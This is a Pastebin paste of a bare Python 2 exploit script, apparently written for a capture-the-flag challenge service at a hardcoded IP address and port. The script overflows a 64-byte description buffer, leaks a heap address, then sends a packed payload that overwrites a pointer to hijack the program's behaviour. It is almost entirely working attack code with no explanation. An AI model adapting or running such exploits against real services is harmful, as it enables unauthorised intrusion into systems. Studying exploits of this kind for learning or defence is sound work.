Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import struct
- def main():
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(("88.198.89.198", 1024))
- print s.recv(1024)
- # Handle
- s.send("abcd\n")
- print s.recv(1024)
- # Write 64 bytes to DESCRIPTION
- s.send("2\n")
- print s.recv(1024)
- s.send("A" * 64 + "\n")
- print s.recv(1024)
- # Allocate a message block
- s.send("3\n")
- print s.recv(1024)
- s.send("abcdabcdabcd\n")
- print s.recv(1024)
- # Read DESCRIPTION out
- s.send("2\n")
- data = s.recv(1024)
- print data
- data = data[data.find("description:\n") + 13 : ]
- data = data[64 : data.find("Enter")]
- data = data[ :: -1]
- print data
- x = "".join("%x" % ord(c) for c in data)
- print "Good block locates at 0x%s" % x
- addr = int(x, 16)
- payload = "\x00\x00\x00\x00" + struct.pack("<Q", 0x8) + struct.pack("<Q", addr) + "A" * (64 - 20) + struct.pack("<Q", 0x605fa4)
- s.send(payload + "\n")
- print s.recv(1024)
- s.send("4\n")
- print s.recv(1024)
- s.send("0\n")
- print s.recv(1024)
- s.send("23\n")
- print s.recv(1024)
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement